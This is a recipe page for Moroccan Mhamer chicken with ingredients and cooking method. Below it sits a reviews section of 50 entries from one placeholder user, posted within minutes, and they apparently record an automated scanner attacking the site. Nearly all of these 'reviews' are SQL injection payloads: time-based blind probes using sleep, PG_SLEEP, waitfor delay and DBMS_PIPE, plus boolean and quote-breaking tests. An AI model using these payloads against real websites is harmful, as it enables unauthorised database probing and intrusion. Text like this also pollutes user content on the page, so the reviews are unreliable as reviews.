+212 5233-52507

Mhamer chicken

MHAMER CHICKEN

INGREDIENTS
(serves 6)
1.5 kg Chicken (either whole or trimmed fillets).

1 kg white onions.

2 garlic cloves crushed.

1 tbsp fresh coriander.

1tbsp fresh parsley.

1 lemon.

2 knobs butter.

3 tbsp olive oil.

3 tbsp sunflower oil.

1/2 tsp turmeric.

1/2 tsp paprika.


1/2 tsp ginger.

100g pitted green olives.

1/2 preserved lemon cut into thin wedges (or 1/2 tsp of preserved lemon paste).

1 pinch saffron.

1 tsp mustard.

Salt and pepper to taste.

bread to serve.

METHOD

Thoroughly clean the chicken by rubbing salt and lemon on the skin and rinsing it with cold water. Leave it to drain in a colander while you prepare the marinade.

In a large bowl, mix the juice of half a lemon with the coriander and parsley, and half the turmeric, paprika, garlic, salt and pepper. Add 3 tbsp of water and mix well. Rub the chicken with the sauce and leave it to marinate for about 30 minutes.

In the meantime, peel and very finely slice the onion. (Alternatively, you can slice it in the food processor like I did).

In a large pot, put the oil and 1 knob of butter on a medium heat and add the onion. Add the other half of the spices and let it fry for about 10 minutes. Add the chicken, the saffron, and 150 ml of water. Cover and let it cook for 35 to 40 minutes.

Once the chicken is cooked, remove it from the pot and scrape any onions back into the pot. Line the chicken on a tray and let it rest for a few minutes. Leave the onions on the hob and keep stirring them from time to time. They will take about 40 to 45 minutes to reduce and perfectly caramelize.

Pre-heat the oven to 180 °C. Rub the chicken with the other knob of butter and the mustard and put in the oven until golden. Add the olives and the preserved lemon to the onion sauce at the last 5 minutes of cooking. Taste the sauce at this point and add some salt if you need to.

On a serving plate, lay half of the onion sauce then add the roasted chicken. Add the other half of the sauce on top. Serve hot with ciabatta bread.


Sign In to publish a review


Reviews (50)

- July 7, 2024 at 1:04:26 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+391-391-1=0+0+0+1
- July 7, 2024 at 1:21:49 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 1:06:33 PM -

lxbfYeaa lxbfYeaa

555-1) OR 865=(SELECT 865 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:04:24 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:07:25 PM -

lxbfYeaa lxbfYeaa

555MQDdU0Qz')) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:21:35 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:05:29 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 1:06:46 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 236=(SELECT 236 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:23:03 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 1:07:37 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 1:21:35 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:24:53 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 1:22:25 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 1:06:07 PM -

lxbfYeaa lxbfYeaa

555CoUX1UBV'; waitfor delay '0:0:15' --
- July 7, 2024 at 1:04:38 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 1:21:36 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+769-769-1=0+0+0+1
- July 7, 2024 at 1:04:24 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:21:21 PM -

lxbfYeaa lxbfYeaa

555JQlQOvO6
- July 7, 2024 at 1:07:12 PM -

lxbfYeaa lxbfYeaa

555PCmcIKPP') OR 582=(SELECT 582 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:22:51 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 1:24:28 PM -

lxbfYeaa lxbfYeaa

555IRp7jRkS')) OR 36=(SELECT 36 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:21:37 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+769-769-1=0+0+0+1
- July 7, 2024 at 1:23:40 PM -

lxbfYeaa lxbfYeaa

555-1) OR 510=(SELECT 510 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:05:16 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 1:22:39 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 1:21:35 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:23:15 PM -

lxbfYeaa lxbfYeaa

5555n8uYaP9'; waitfor delay '0:0:15' --
- July 7, 2024 at 1:04:11 PM -

lxbfYeaa lxbfYeaa

555r2k59yol
- July 7, 2024 at 1:07:52 PM -

lxbfYeaa lxbfYeaa

@@Sl8HX
- July 7, 2024 at 1:05:03 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 1:04:25 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:04:51 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 1:21:36 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:04:25 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 1:05:54 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 1:22:01 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 1:06:20 PM -

lxbfYeaa lxbfYeaa

555-1 OR 948=(SELECT 948 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:24:40 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 1:07:51 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 1:23:52 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 413=(SELECT 413 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:05:42 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 1:06:59 PM -

lxbfYeaa lxbfYeaa

555P1P1o7N7' OR 71=(SELECT 71 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:24:54 PM -

lxbfYeaa lxbfYeaa

@@d62tD
- July 7, 2024 at 1:24:16 PM -

lxbfYeaa lxbfYeaa

555qSxs1aLK') OR 28=(SELECT 28 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:24:04 PM -

lxbfYeaa lxbfYeaa

555rgOfooNq' OR 276=(SELECT 276 FROM PG_SLEEP(15))--
- July 7, 2024 at 1:22:13 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 1:07:50 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 1:04:26 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+391-391-1=0+0+0+1
- July 7, 2024 at 1:24:52 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 1:23:27 PM -

lxbfYeaa lxbfYeaa

555-1 OR 408=(SELECT 408 FROM PG_SLEEP(15))--